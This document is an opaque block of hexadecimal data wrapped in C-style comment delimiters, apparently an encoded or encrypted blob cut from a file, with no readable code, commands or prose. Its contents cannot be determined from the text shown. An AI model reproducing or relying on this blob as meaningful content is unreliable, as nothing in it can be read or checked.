9ad4506c42ba8b8240dbfc0c8bb733ee1f2855d0d84413f13e625474f9d6356b8c6eed03cfd457827ef2708e68cf921a700bac0841923bf00ec60b63f0beb5792b738ce0733891fd26baf09b855892cb4ce62c36e2590db33ad52b43fbcf9875097d67357efaad1c636de1a020333890ad31e9d14e214fb785665e8365b60e1e22aedaca9e2f19d5f11b12fecd7a348865c4c16426848ceffdd1113781cd65dae18462eb9519087e55b4c599088a1110185f82d5f4fcbf3597ae2c3584c1234b7e01232c6c623b80b02f71e4902778a1adcd9e953089d30d675f56a90519688214986a95bc8ad16375f9ef6966508e50a91787f3d24f7547b1c34193e81daee9bf3b6c84cad0c0c09da862114a68007b2ea3e44d9c1c8ce42ad6c78a768a50c8fa932e422597cc979793b77f252bf1361e292b36f4a80138968b364de608bb3811e72567594540322f5cd851c9c7bccdc4e8515e0708cb013e4be69a3c514073c737da17de8a9ab6bd966906ca7afc6ebc47e3660556e8d4bde2e8d6ada9359c111bf25ff1473f42fb2632e4c4fe99a6fdc121c456985c87e12cd31cc1d120c51db381b923974c78f77fb1a89d727d4c000b42418d609e5c9109975f4ebfbc98a8b6b4bc435fff28545484c13956290939008f9ebef3978b3b55c48a6c39bbfc9a017e1461b8bff6b5dbeb28c4eec847a1b2992d7713c69b198cad53bcda665461dc5fce664f5b835de91c8843e5b5dfe1300568c3a48e07baca479e44e5a0b43799c26d80f4e19c41051d74d54372beaf7f3430ad98fb0ecf571c4f447fe761e1e1d3a0a8031ef510ad8569e900aa95cacb1a2fbf2eaa152923f135669f1a97bfe9eb93ca7e506333224fbb9b98f87808ead0a4e685120c8f790d558880691a0d1484b115a2ca5b4c0b7488622543d4943aa1394b5540fbecc8df74c5e0f157101324ad7b2aca7f5bd0bfdebf5ecc3e36f6b38d5e9ce863cce68eb2e8258866e1ee9f16ab790706381cee03724bbf618e6ca7ca4e34c85b4e8f8139a195060cb7debb4e3e1e51aa8cf650d2d2288383d17231206a403a72a30ebf1445ea9d258e16378cf15b6036bff2e0e4b8ab529716ce36056acd8e163a98cbef3b357b3212cf216d50c329a669131acdf9139ddc2c5470f53ba313cf05cdc428bb996b7c56b70daff0b5bf6d902e91a32537ebe03aaccb195a3d439ec452ed24ce1d5d78259e8a83a146f46ac591df32d60c60bd658e9fd578c3326bcfd4f03a8cf6c600a1a7a3d93716ac3c1e91f52db2a2ff0b7ca0a8090b0d608b11beecb86f71263a81195cccd7fb9cf8ea1f785215b8831a91ca7055939e221cce229219a268b80b9fa5e5c24cd8e456ab17e63a65d14ce1b28c0b6ec176dea0a2a0f3ff0e279440150160abf2cb23bb25d4c576682b24d19f000301b5f422ca400dcc60f5c264cc1fb347273a29855af0a0cc6b559bece35190c0920b733eb2565953fff293235fee5d12db8a6cc503c51500ce27353060f4e0056b9bbd62167ba5e286a81c186c6009f9dc0a9b3b67ca1c99ce82c6ae6f8c6c35a2c6133938ac6fb38762b733e432bf0f57cafe5a7a9adfdc3fde1ccb27be6d6ddcfa7c8cc7e812c105b4f73673ae4d9fedca741aae3934c497d70eaa49ed54408a399cd7959448d6dbe778a1b4d37436083af67fd7c5b6ca66f698bfcdb390bd16445af8113b51e2eb03631f09a30c47c11fbcd817ee56c4d4f00d6499fff199c712c47eb8aab30dc90556199f9ba84679fe8e28118ed9df44f7db5f07d016e0a04253e1e051b682e1036471e57e7d4386e4f1c2ab698af66d86c5c3317209292b8a74102fd79755e7cd04d6ee90d86125ef8ec739c50d70728556692894548e6cbbd49bfb765d7db7a62091f6e07fb469bb85c49f522de5dd6b55a7436778a3522033fd0028f8692d7ef16377389acc56aa56a7c894a50eae7528fc9b58185c576aa0b6252d4b4cb6c01a4f208078f932f353a6b591c44bc17c57fa87f1f8d894c21779f9c283f2d74cd95cebfe1965edbb1a3918f0b4500358dc8a8c39ec3ce6552a8b0c847bf156d5c4355d3f3bd8d9872622442ee33843eeef792602ad02e18160757efc3c6ff523ed20ce7afae05bd286af589da14287ba2cb2ef59b70bb64a5115ede8fbb91017b8fe8b47d79532971e743b449732ad1ae695d0dd84bf5982ae4d983a927bb1506598440b93925d427af9efca350a1488a974a9ba9c23a1652186d32df5c0b60f3c250b4d6b07bb9cbc4e31660fb80cd1d*/
/*32d2f1ec286a3b373a6c71a2587d63dcdf544c4db47da046c49a5b71fb3c1a5422f70c823173339868de0b644ee280587b14d9bb393f8becfd58268d5ed4c55915744982fcf2c2707297634d68043743a5729f0809e4bd85bb3040a91f49b895bfb3f0698e883bc30e8e6828fbfca95286c0a8e6d3ea1e9c8179434c10c5140470c0ed84977223e36c13d21157dc8e6332c40a63236c66d8a84acca244c520f5e01bce83a78e835b827733933a38fff3494aa1dd76b582460fcae32f73e14f4ee49da77432fe885fe4134178c7385fde12e7b08480c23d80a09d3b35ecfbec4aedcd0e835b0a52cc072fd4ed7b2482c9a35c0503485ee8e7b3fab22cfe0f785d2dcd623fae55d351ef8743ac48ce2f4dbc71a6f2084a3460149808585276bca6f4c1618188268cc04fa2cdd50f45235f4d61f8c6ce763be1988c17ff1736945484e89dab4fb557f3db11d6ee2c54e27e410c15972f97df2ffc94a3906b527f9a4957f391e96d850593768f96509e61fe10ffb1a1fe5090f39cafbcb13888cb2a012be0027c11c5135ee6fc4f504701cb93b2236a0586e5b9d552c941a242c719cdf7c850ef5b40ea4a3331823c5f245ccc6906257537650d2bff1423070a02db1f488ab4b6764a1fed18db0821d00fba5e1c20f5f4a5f00d3287b6d7b12816af76e24702e20c6fd9843518866c52c91d7425e55aa0f6be893cebc452c577fc169bfe1d6a7577049a9a5ed3944662298504d61f024b691b33608f5808b792a2984fa12a59100e004e7e16109a21ffad346037f7e1345602e2d5bdfe27f0a5a60f7491f6abd84492608673ad8110bcbc5f57ac93887f29df7da63bb13a3a44332021eae90c74269c57359f71ba1ad717699952d5e4582e49c9fd0214fd59c9b1372b4e55df80032dce545f2856eec274f7c42785f42fa81d7a219fa1e234ef2e1ec78de569c1c0b157f72b5b4a4b396561f588aca447bf9c8098d98f346827b21789ec92ca0e38840339db2c25f5a6560b59b9567d2f5b4592fe2ad1f309185899ba16501a26d38831b0eaef224063c3c8ad0c003c3d5267ce4e69a001458dcdc453b1ba36373541399411204af19cb05b239b8f2d78db203c19c34be162d1057751ee80c913a8e9ccc6efe2bd8eec52a492eb6acebaa8c214c6de86ef708bcebf4ef6b78ee28295a85c09c67bc6a51a523c143cc95b9ddc317508874a4c329bd546d5ca0d11dbfc062cb7b4462e0ad6bd5059c024bd65df8fb03131ddb7a9a37ff7d8fb5a176c7cf3734d21fdcdca9074f28a3a3e642ad3b3fd6f6e83b4e3ca402b492c9419d8c59d3cb9c644d097b99b25afdc63920c570ec13ce83cd5120182c881f0df118981eda742d9bf8cab64675478955e4754980aa624cd7e841b0b29831457f595fd5925db1c288fde90a6f770a05399812194b469f0b5f10ac41b462985e19ecd8924edf00bd3a387d3c52c77e9984811a1c8197624a37a3e2c4c6eba547ec11f00bc7a7f5015e8aabdc33e2eb38ea8127bdeaf9a11752088fa2ddefe1fb60a2f2d5ee7eb7c16bf12e9c8e46a244390eabe6394ff8940f2dc89ff2d966d5c362178d3547dc50388aa191282300211c9bf7539fcb37e4f1b1086725ddcc7795b4c5d7ed52c22152284798a8e34db27e710be87d06fda62545d40942161816727e680fdc7c37e0d4b02249822a9f4049c626586c68a41591c77cba606b0eb09052a1c084b80bb4cd1e588ea0371494ed82471185d5507b46a9e8ee43381526e456c924ecb35de2b7552427e4d7ddb8d8a3260f398c775b2659c613bb3543eda798f8543ce5d1ce3e315e0836715b267c829342122290284f1569b1b5b8b7a702c1c3c0835fb49278912b0c8bdc9f00a38b3883149475fa6adc85376ef531517696196f236ba69b027c262067095b70516d45d46a575548c34ecc9bb1000e1f9af837ce043e9b9e4a7dc2b718d6768785345e04e736b3f246cd64677bdb3a039121f53d39ff9718b1565be118e80de826ad771e2e9d5c82653da4213fd6a06a0fc7e34bd3ea34fcbafe260dddb8185a2184085a5d318aa4d5221c598830cff8a0018c837de9e1e95418e750d0fa6315492c39c20b81dd4bcc8a5a5e1dc5c35809cd9c41703ba31145d1a45bbfc94358de3a8f656e57707ff34687ca1ef986a3ef5d63e390b616144415ab007ba65817abea8de9bbec55e701417a582d24b197d778cdfbb7fc3244f897c5919254b6abc6fa3d1c1994156c85d00b34bf3c9d6e18a0d848a0f41b1d0a310206e994bd66c8d69f462b3019543aa73baebfedd25c517ca814d6b171b131b19be921239590b0508ff5795b98a63666859a3bfb83387445248f264cf12cf1cb1d4a0fd1e7f763ff7b20635a3b56aafbde9891533a67b1f4553f1a66c5881550dc4dde6baa4fc3accf25fc602496529780defc8c1672b59df69cae9ad0d1da85d612d36958c6e3c0553d6c9852e7f16371a5db008c92b53a1ea914e4b6530d67a863ee333f063e3888335c25bb69c0b810d41a6b1ea6eb577d21747e91e9c10d251c69d511524ef94e5b509fa0279c00317a0d482379a1f104633691954723e5a545dc52562a6e5d78a98ecbce8ab0be1472341b58e90fd0a08d7ac3049dfe2f445525ce560fdb2803b699e8021632957aab4104087af0662a2d823d764ad39d41e75802a07a62e2121a237ebbeb85797a3a78e1c96165f312f5c452fa232ca9a57c3b80869b242237e1451b40a578c94478a335a3cc023a295a0cf5b8f3dc155b5e92c8a7f7cde71c437a640f60f18d1093889d43d11a133da9c6b97798f1f9424c0f8*/
/*373763a280630859b9fcf36f6045ad2d1cb654fd594615ba863e17f3cbbdb2f4cdb18b11583dab6b74dad6ff96348f746361960a7d63931ef08e82715dccffd8734b7237a0a09b16af89be74f2a32da205443daa37b9dfe167cddd0b1e68be0f734ff5110d9c30e40ff164796680698945a38992c777dcf63e79736efbb2dd4222f864bbf1a4c5ab3209deb60d8ec21bc18ea17b03a81da4e492fff7535605a1032f0bc8f89f77a61976fa7439121cf8b519229186fec841775d09d89cd80ce8a92717d99af798b7ee43857c9f7bad42b74be75e6a82d65077e3e1d282eb85f219f448ca2abf0ef6597977d5ae921f08f7ce13ea711841f86c9b51409643fb4c889e45f07b6f770840830c917551d328b5f28a5c083162501d4c8dbe8658f75dbc86d0d3a8ba0d5512fb928fb848ba13a64bc4381aac85312a28f47610b759c70a51f48b6f8cdc0fac7805411e711d4cda0b97c745320b5030701d13411886285ee1937dd94b6072dd2efb13a8584d1f75f91b1f6f57008c58988486f90bf1eeb6e19a6aeb8ca5665fa5b5526687db46220d76fd2baddc33260b2369589193110d23790a324967ab03e411b49d9627990d4e8d2461a60c1bed6bc66fdec9147965864cafbae0c6240da8f4b1ebea320d7699cc73190ce4f377c2807c153ed82f7503d122682bf1cfffa4bdf62e336af5eb2aef75eb53823e7a24747e2cce3555cb814327874577347d2a953d0da5b5c824ae7d344cf9cebe3a3e4b640826893eed83f72ad68ac578ac2b1d1c1200909af162e8654903817d03d1b1ec8c51658ea55b9e3cf5fbf9013f46ee4bb50cdd6d1ca3d6234561c16707d220a8450ea108a3179b1b523f6490a8a63887e1414bb63ae88a556d758c80f22591c8665cc8eb50ba27a8c356ed2f4520c08b1a6b8b5390a2bb7edac070f8b077658581c274c26ce76b01899f3593bab9ce9c84e60d1a67ab0f9c00922f21a80d5d9425657bf5177e731d7f4f25ba35aca068ef7d151994ca0668f26c99a62dd6e065c4a2bb862cc927a7aa7f81de2b91eba5be6744b8f9d1b7053d7e82b6f645a3ff21f288c9a094c06b2c9a6fbec1d0d0bf390fa6abe6d0ee562895ac59fde4a7ec40f0cb06475b3ea43e5e0ffaa7dc3483438d943b96170bec209ab5ff921e7de87853759772ce327ac827101d8b20ccf72fda887d7fcc0cc8871f49113d952e9f26184e7a157f7d3672c730af26fee3d324daa21939668ca615720867dc75eb4617a85e0d015e3b12940ecd0b8fd488512986a7837c1d1e299a5ac5aede7f79fef19cd3ac6ab207043ca4f2afa69bdabadebe4b8b15941dda377696c4bdd7895ad5d7598fd8f1c3c0d6285b74f159c766b0573fe3df58112741308e7d8422f02ea32b3d1c78696b98bc5bfe27df4c66245e94bf29bc49f659a323a0443c7d246e42c8e414b6fb135465bda5de9ba4ab7a38080ec56dfaa877b9422d3e54510e0b567bd858f6400141a468d512ab3e708f3bd30f041db96b043eef30b8298513c329b96ab0ae6cc7c39bf65bd11ae8797ea7e9e83db8c107f3afdfc4a0d9a2603222c8054c172da6bbbac6acfe2bfca8bafe9ffa5064a4cd49d9b99a40630762497527d6781b5da4155c5eef1a369cf0206fc3ce0ad4a48f539ee8bcb02e43d15da81bf0bef9f2a313f42833540f9bd7eb5442278e51deca3715802e1e9cddbcd008874771da01cda0560ef310d59b15aefafa828911f4b700360a1feb591474a0e0433a5f7556caaac8cdc35236dc9e2646b108025a5b7358ddd9c3e2a330af9a3ce9affecf3ef8de729f3e7d0cb0a1de8afa5742f1c3eb8a426d202296b8c249a26fe75cd85c95a0940f04db7354dbbd6791d5cfe21e9db97a60d4131b2936e6af486ea8ad68e005db14aa64ef8ced93832cd7ef3b2e0ef48367403a76d88b235a45564eb7c40b4851bafcf1f44f33d30f4f2a10ea9a2312a7b0b2e184e0e28f71232f0eae6c3dac6b99dde31cc78b6b27114f5608486e92750db9addfcc7d4034f9d8ebd270ce097f442ad8c3cb42a1f44578c2eca80e8b054212fa4c7143442dbb85537b9493729ccab28c45a878e3c6f6f156a2634c7224c8e7fbc243e87e52fa8a238cd71788ed257cce11147c4b33873c37db4d9b71c35d8c81824ca36c92083037bee9ae5640ec8026acfc2b15248975e258d3bef475ec42a75c5b98454de1df5e01587c82c0688b3f60c6fd921af9b8af07531f36ab7e5862d18d16abfb0b504194bc57cead6986d8eb1fe8573e3b737c0f67f67a54bbb5f879afc7263f7872efb45378196904010836f7cae4430f97dd0d45341c248caba4b7e7af1066a11179d894756f9ef857bf476238ebd6e7eb579b81c22dc0de71afeebbe1861879c66cf5b24166a4dad72eb492719e2e14249f8b7923accf4491c2bd4d3e98315dbace7e2af79b4439ded12264603cb4d34e9c5f41ac855f3225b3be5e173408827562548c20f896cc96cea98e62d54d8ea4420701f0e250ea0c4e145d58b9b45dd55ca49828452d97df8d5ad99237f608053dc6c6533879bf22d52544d6f327a485431b774237a712988dcc115b62af68c4634c292f7461456826140d9259871b335b26f1cc3911877e130969ab488c7feca02a4b47b9c99b72840606383eb44ca5ddb159902d4a214cc05caed77109758b3f079b9b4f1255b152a24d72b0425617ffd056084b5750e2996bf8bc156765bb0b0c637b8fbd699dad264fbdecfe9bd523274860672070a1a649db476f2d5367a9f94d017e08855b25feaaa0a851ab0849f92f5127bc486a22429687fb98c36a97*/
/*5b3b341a58f76691f5f10bdb501e715cdfb683c71bcfca32721c12c1cefa29e5eea35a8e7063ba420fa07b939493bb37bd47804f42ca15f06ab216746a8b06d4bbf452d238150b266ef5351677a3a11dcc4bd5e6882d3a4296cbd6b3748a1a01b4914e96647d0b556830592835bfd9666660f86a9ba27f1f307bcb429759f80431194c2a8b1ee2ded395e58838f125701fcfd57110c236add08a69a388fb6cf7d551b5c74918e74abb8471072d693c7253667eefe049e5efaa5e9e5f408840c6bd1a98d3cbd4f1af61c4d965a0bae66794692261ff55e91b0004d382cd014a67ab236583410f75018322fb86227f46b0368c38ef13843591c094803ad66662205561c6892f0bd204b0aeba5e5c1afd265ec2d9d59dbf045722c3d934c9d4ccc851bcc26b77530c7a1a5774caa1576bd002ea44fef1427eef85e36513517e3bc12c77bcfcab3db706d11fb0ef7851812d468b11dde5e6f766f8849fb2d928cd9a60df0e4339c2f61c8997343dbc8899d03d7385071c85d73a7091ed73b854f2e4c6cff21b911cfecbac670a234f306ad12b8318ec8a64323c3da470afca6c2a412113573ce6502b14e602f651817cd98daa87c6dfefbcea04101b92d3c9e14fe92913a883a97decc05914a43c4c239efaa0d08f288dff76965a08e33e8330cad8fcf63cce13af2b5034dfaf9103f66acd3de332e0f15d46007d86cbf827e28a46b31e2e3374ad9322ce3569988203870be832061f0ab2c9ae4ab95a43962ca77ce14bda0c67aaa814c82d85416a68425a3e0284639aca6bf7c2d55ce6310377e98c708ede9aca8b37fe6df2f95b982a00251f746fc27bc14b8afdb007b9f5fcf890a419beb2b1e7a5db6bf73ebdf356af34ef47c74a2ee0e8557ed4342498eefc61040e7144761a73bddd40cd6a9f61747a41ccea4e592e141711fb6a26df41582db2dbe7666143c1dd7e5a4cb6337f38c4b56fa0b1a9ad40af1aaf9d673bb14140c1e966be83adc9157c36b98259aab182eabcb46f0b904af0d4a5cab0bb7b212511f05c19157d1ce81e2dd04c0a8b0d0a793ab9cc7cb8817e94e9cb13ee11647cef6a33e706d2d1f8a0c102c57cbf04c3f2c4e60b0ecd2f09f6a71f439a080ed7c71109c09ab4a7e79516f477c714c9331de8603aa4960c080fcf2042db92ed80227a62536c79c373e5c0b777b4fded5fc161be303c56438c6b1c62c427afaaf0dcbf9fbb70d59c0e270d33874df229de5e10f016f97d2f28756e9a2dd43922d4eae72ac264f2e55f1798bab26fe95b6779f9e0db2178072476c0329f94cef0d21c3fc7ecd4bfd04c57b2d460839fe02402d175bd218a60f25b76c98f242e3f5a7261df9ab8605bc0a87b5c09bf1ec2912244f50324cf46e3df8aff8692c57aceaf6522447abbf2cf69d1c23ed24c6bd9d05376735582a01527c3208b52c9b0dc26a2277e701158146b123afc57fd5efb1f0e533f0f8936669dff4c5a62159c9e4991b969721eb0a6236bebcae2af2a52c80c07628ad4c97bfb67814d8fe708648286e231651183569db3e77407cd9113eb094ac334880f3157fdee0f5d4504605390d24283db8960646102aff3f39500d4513f4e9ea6a4104690bbe17666dd043c9fe7d9fdb0e64d15cee4d398778829922cd0176a7bd30d5705ed7ca66ddd2711dbda5911f4a55b72752e6e9617ef79ecf2855afba680fd52dbd73f4e96f5fd09852bea67268e9a9298c8478cc48de34687d3e0a76661fa2c7971551bbdd1c2e40e5a68d81dc1793690071e3a8ae74772244ecdb0671af966315c9eb9a660b030ad16c45f0b7cf9c1704f777ae850e9b000dd61d171053d672edde215a1c8c03667bb4de4c97141ccf1851dab8a34ea015b035342405240fe05fce80dbf8e99e3e7faf8f01ded11f3fe5cfe6eb58eab8de882c3271e36978dd0d478d22e3678fa2274952c8d0532d70b724ca2df5e23ef5104d7479b92a7a23f2febeaed08989f56149d1d8c2f76dd8f60caff2bf0cca1ece638af8a06fa28fd8e75628250c38a2277587da85db2a48e6000d1a08620d70631442ebe2a23c29da51bd7a41985fb436f58126d0056fcde9403e1f298623132c2718b7698a10625d8a23e068683abf6f29c838d92ab149b49f6193c6d458e5f3c9fbe7e05c6479e1c701797e24a0228bfd1e336f4f7fb0f107e14c264efb902ed4cd3d0e1cc6930bf1e592831905b4a4c091063985cb4c888ea8822e9f1e92caca1b65de3b8fd7ec0f4bf55c59dbb3f913046ccd70be7c0f15db9657278623d8fdda13780c3dac3a8f26b0a7eedb9b19d18112ec549a2950664ff90d2f83df36553d962ac1e9f5f032ccbb828bfba4a42d3756f475ddcfe04c3dc80e108f3f772c14f6199981b5318748e6c8f74ffedd62017c107a2ccee9a5c0d316b84fe621de587620c7c277d872aaeb5e7568f69e4e146de1c109e53a3f09475dea6c9352ce572d9f6d2b873fe456c9c86725342b68ba20fb4ab22417615fb784e14dce019b58d18e1d65c583ce734598fb4aaed6c249150f614b5e84de6648bdd5a168babe2cc997efda27ff5d9d539638b9a7496fef2abf1538f90be946dcec860a50befd0c722d9ae56bc9c30980d713720d67db3317543c4c0896d7d39435bf4c5c3df82fe653a76cff19409bc8d5843c4bdff134f2a5a0312d9bd3b3daa21cb07fa195b8cd15be0aa2cd519edfa0c8957c771771158d34e048301bf358a7ed2bb833dbd001257d7cf67c0b7dcd681493460c13f3e078dcebad116a2f072c687dfaf9e81c8f80e3487c98aa2a973168c3f5838ee1d4d2b9842fe362c1c9896*/
/*5dada1511b8a3f596e5d42a381218e7dd9cd7babbc7eaf6d3352a707e97d125826d76b69c3b49bc429bdf7bdd8648d24cd806f90ab848e5359f3f55de88fcb6d56afcd3c7a4ca435aac5a58c4287116d100545e3595cb9700fdb296342f2334deef407ff533211d07b5cf2f5f5df8125df5b5ef424c109d44a27a29131867a9b801976f737fc917ed7b810486b7f66c60752ddf018d845530ba715b3b62a830ab0b34e8d4d01eb0370974400fafa16f409b6079f262bc68eeb4a23a22441054f54759cf31ec9642f05ae8ab125032418d883332c1999c01fb36c7605f167ff46824d9bc88c3a61382b602739bc1e1d71ded6537da5545d9d72fc8cbd12db227d09033adc825907107182ea219b3c12fba478d010e079b384e3517b5ff74b856c2475c7372e4678a9cb50f54f857e4c5a84d7ef185c7bd3ea668f5dc08cd0f514a12c0d7b9ca649d5f6a4d6c83e4042673272bd53144add8900a06e4133a3f8849263bb6f2e7c94e383dab567246d26c96d4fa92b6b9ce5ba037b8053743dc7527df1f22332754811eaf3aeef7853297746b3ed9d8f8a2df5c01534837b366d0a158e0c84b91867c0371e2ad0e250a9bd0e68ad145cc977f455b63ea039d7bd454c111934f433d07e6ad44045a6a426ffd1f2e8cebbeeda88c2fe27d9961ba27b9557b317e3241cc0ee19b614bdf40bd2fdceac7065021b94925ff028edd08e187b622ba8c58309c7dbd1ef6823a751f29f250e6a5b32747967ef52859ecf74ac0411129d61ced86e31c678562c578b9469c1e18bb93d592cb754c62d427c2e71583b7420a1d570b13d922c3264e2e970e87510a08308e0c080b2243c882a768bf07d1e6d0518dc9be5dfa74864d48d3643b64b7784659efc410c2948a7fb4e910f55293fb2d4c2875e9571f8f2c31fc684df498f2224f5b87a3cb477af7652ee7ac5ad5d0ae6fa27c78d9d0feb1c9885ffa7456418e8beea8252cfbf62d961b87018679c772354e1b62ea3445805328c2819c25512364aba9bb6693bad1d047528600f6f9bb84ea26fb7abff2d9e136e4deae0250b1ef8d8477bba7e8feb5abda03cf3f6a1a77017f141133814f8b77ca1897d74d906fb15ae95749faab58a202a386234f860115dc1547ea56a021d5c8bd279cbf163447305f71446e1ae1806a984006287ce3f525bf11c9f601606f9e018e3ba085781d5a2c491f91aeb9f058b1f538ba6a2af8b790d7f49feedfacc7d6066dbb59b5d8ae53031b14b8b113150835e390ae00a5a4b17233c58b4fdbd5a497585d10aef9ad3e4313755dc42fdb9fcb936b4ef14b45fe48a4f443a689bba46cee2569598bd545c858ec1259e8de2c2ec14a11b92704712c994b5942677100a7e0c6120a387b9ea090045a1a0642e663a3a457aff932e0aee1892d67b5e89292c1a01f17efeb2c2f96b5bc664b2c0da28ec78f448f24de265a2a47f87fd23023ee513a3b484fe659c23b4a68d49c31bdc0ef5882f0c4d58ced028b023a19baf6671f55bad89eaf55b74665bc0df341387ba15e269a0f52547c448f3f1afdefea94ef499504f76612c4228eb198492a9063ae1a1e51eeba2221b480f2ebef58e037140abd3b5b97eb4c8c09c8ded062b750728165e6661b20920cda9ccd6d41e40e2a351980c378c0bc2b0a451e2ba62b32cf5c518b8d63e2edc07d622770e0eae2e3025488521cc14e609095c1cb03f5831bbaff3b7ed777449b2ca261bc27c3e768bf50ba0b1b503b92130ede511fe537b3abc30efeb34c269efd9d2087f7fc861eaf790d478ae60f6acb4032b74588688ca63d66ece14aa5f6ee321d8a7f3d61fbd99216dceaca5989abbcf4ae4b2afa82ed75b01c08df49882ff76bc7f6666b49be3a5ca2ad020a54b723142fd35bed6ecd7a7a4ecbd1049cbdf78fa8fc513027e811331b5a4b645044983e3d91db299bfa10867471f8cab203f439208ce5f3900837d48a82efc17e9fe1683402c51d7b3170bb0f7ae8812fdbb77b0321d711442ee008b385ae157570139e70cb04cefa3179334ee3e80d0c808707e0029e7f234f2f94d3199fe4df854f1fce8f21f6ba4aa1724be187548c3667d0e38e45d67035dd0a694e3f71609a356fadb5f2bb9d691a026a3b4e4c1d55a0d40908b235525c9e1a1354539db9f6afa9756289cda55babafdcfa7ce2225dbb4612b65b49e584d23a6d9dc20a9aa9713885a5d5274b5b905386e100a756e7cbd3b006970c4b0b135afaae1628d94e7816847b9e10157d0b8660ea344de8485a502aa7f0940a713264ffffcb78bbd03781c596a61956bdfd5a7756edb5bcbe752eb89e5657592f6c77a197acd87cbc82d6ef60408c09025bcc0ee4c49c12d45d1b6b40f417b7de0f2d51f99b6b8c1f024ea21d80345eecc5ce4237f7acb44fee0fb75bcdca26accf8476e77424ec8741a9aaae23b623d2096295f9976a0acce68dd4549259377c93317ff11329e00adefca9435bbaeb5062bda674deb59c8ef5ba3683d0d0489c13956f7e3bfbce498f57456a3ced0e1ad05a49f5a2b02df07b91c7f675d2aeee52e9a255a72bbfd2d57a2ee471b884f9b20a3b3835e8e2a5fcd69c0b00737c8540d3b411ae74ff1fa73734acc32ba5b33c4aafc9e4d2eade794c56825054a925d64efa3582fa656ae75f70025c3f765010a50ba44f404484a891c04cd5378aeebfce3d8a1d7c44e0045471ffa191a79315c7727f3c799e7e22ef14f628b1d889ac7e5e2e6e57fd84467b7efa354829a984cef203c4488d99b709e4ebb3ccee32014cb0628eb9f29750af93c62e6d224c92afecc0a8dbab97b1971*/
/*4861b65c49017fa16cef78550b39b80b438417cdba51f2353c71693fa9a2d1ba59922f02b9f4a56af4db69e50c638010d4df11fe9952adb72b27c22c67277c49fbcdd907bcc3565b4bac25c0bf64a836308243203b2d0e9b97743fd40c709cdea7086b6c2cddd42c7df96cd24c5e799f3e2c64742ae70e736f28b2da4ebf0b3e642a79b2658b7edfc915f4332f2a4c7fa1c642a7686d8c138efb4468404910d9137cb4f2e76f3a42b20a6ca1ec0662063ac76a7790c52d26ec672b4fca88ac0fe3c7a4c9602aed400ea00619c1876a54062303411a25d4e4c367406884bfd04ba9379b9218818fec853b2eec19d19b39b7b4134a77c0487b131d4441eaf8771425a32a4d7709b128cf3d8dcf20fb15c045876df68579f3465523e634231760f095dc7a78d0d9fa7a2a0dd8672d736addd7bb849edd4785ac6f5e61c1433017179a9bcc3f78b59eefd580eac7d9ad17cf36138c1179a94673749fd922b52d1e94a5cd4ff7625626c3e2614c85127a263c777db60cad60700c36289f2e29f64bf5b2c4d548b88a7d3dc515fb0eea29df7ea34217f2074e238ab12c5564a886c48bc8cbb53b4902b99a1554504f61965ff2c18162ffe82c5441f22518db1030ecaa2b08bbb508d60a59a30b9fa9be815d2a1be5d32b2d395da9761c8fea443182ff91270808b0f9f9581fcd8a83a3c362a6580aa9ac69bf80d8dd1d7a0aab4f22ae1902ad616cdcd59aa9764498c92d8228e1f5b6096a2b5d8e4ae4308cac08d7f9ef32860f6077aead59a421bfeb0bbfb7d9e0aa1384f96f3612ff803d0e751ecef5c2633961d87d3e07e58560667acde4b9224e8cbb75ee4a33ffc8701721be10bb2022e67e05e3f7437756a1d6abdab3ba6c382a0491dcde6d3c741074b7b1044ffb398f35a5e049298da472e4dd999dc076dd1974d8b702c21d0095627ccafb3de9d8418888c1b42ca1d319675ab5e6c9ba345213645fc95e677ead599edeb838f229c1e2113ae470abcf8f1d9b268bc893ff58f25f8e54c275cbb607143fa0b348ccdd1de582580e0f61139f15f0469df144f277f45b2741730d617b0906474096c26af155d1912527fefd7a1a8e77e9c7c554131d6cfb1f0b4e9acaa2a789668b6769adc23c8566bf4e268777b6704fdaefa5d4205db90f6c309c8616e7eca33e48b478b0dec6de587237bd878e85a565e52eafc2cbadbbb10264d9da151e155382d164688b4b33c5c25d141ad919452c82e6fddd2a0ba1dfa2c18f8b9939ba19e93712998bddeeab7bffec94d3fc195477c5cb1e291bbc97a6b22228a2a7e53e7e8f965b667f4197da6777d6b59f8cb2d46bf00119ca573cda52ea6c2c9851cf8a55fc5e6da4c87aa2f772fa46c0831737d988a64c0fdafba823d02b20056f9e962bb74fa6baa50a87d721157fcf9f8138485c501fffc1de4509ace0b41a9f7a41c8e618957f857524e1d2937e556c7df6262c7b479e0af1214621f98c40337798f53bd3aecdc2d0ad325f8f4248ef37f6cecc0fbae5975f2c2f35157c4738a85846c914148ecdc34ed44a543619576a9f89c1b9f16465df074fbe5ae87150bbd199f9e51b02bf5c8b481137c85aa8cc433b3f3aa4805fcd2f807d97b4824461cee6d1d7657cc4148f7ce9cae2643f17cbfcad95ad604ea1750cbf5b05cf5226c006b8a72127af0665d87c41125e2b963f5fdfff09a83b99ad345cf34556f5f1b11cbe9ad7a26b1ad6848d4c41228dfd67bdd158adb6b14071d52852880a4b3102dab5713bc6c472747b355f239aa635f96b2ddee316029e568cb904dcf46a4a92fa3faa5cf0dddf30e410bd4682217ba26721e5a8640a7b75093700428fa7e82bfc25fe6de61b6bfca7ddba86d6ef37bd8006b669c4372be625bf3e920f4d1569cf9f448a8592fbe086bff8ff9d00e8eee071c19e218478da443ffbce472d980236e13c8fe62a308fcdeb07108192d617d2af122e154e3c053ca240228ea461e2fc9aeb73033a21c9c2107dc47090b916ce2f7237bad58efd208f9e9059f01eb1e1d4e065563e3304237c06673333116bcf0d721ec8b169283875c61115952d5a069ccb1750646f5d49112953c0d39157b38d09340d17579afe284b48d4952bec36a8a55db118f7be2e803705f1a135ef5099b542074ff8f07807c92abe4d694964e1a013b44531eaba874f15926465f210eca186f0ebaf253110471e27a74638ebea3dbc095df051733b6ba0093a93bacf01d5712ac798bb9f4bd4a7d9a60a15eb1b2841d5adf475e890138a9d4d50fb09010d694fd4a0dae1c366bde3319d85f45fb73982ece7b54632455b0730f8cca6f6d67ca174eb7c3e20f68d49b7816ed63948dd8d36fe6b695794c04bc7e8cdc4e52202b2777c20d09ce73e2429099e11ba13878e9d8bdea2bf638fd29399051d441ad3285598f3ad2571a5e3549337c97e1232b7d27948a319c384c56789db74ecc7029f7d3912b5addf74eefc488c852e374477f8079a32ccf5753409c58c024c3f98b3f482c163ff8604af0d4f4e5c62002a32024ebe68f01432df6d6b789e82ea9e3ecf53f560b51a289af7a6c0676408dc4f508b196240a4b414d9c6dd38a30fd6fc69ec1e92a7e56a39c6675dc8a48a354ba4732d48ae91fd79ac8841cda1ec0b9887ecdd998380f298173e901b5f93c45f7be1051936ef3ece342ae400c6c82885970b3d4dd181d7b827ce8d25b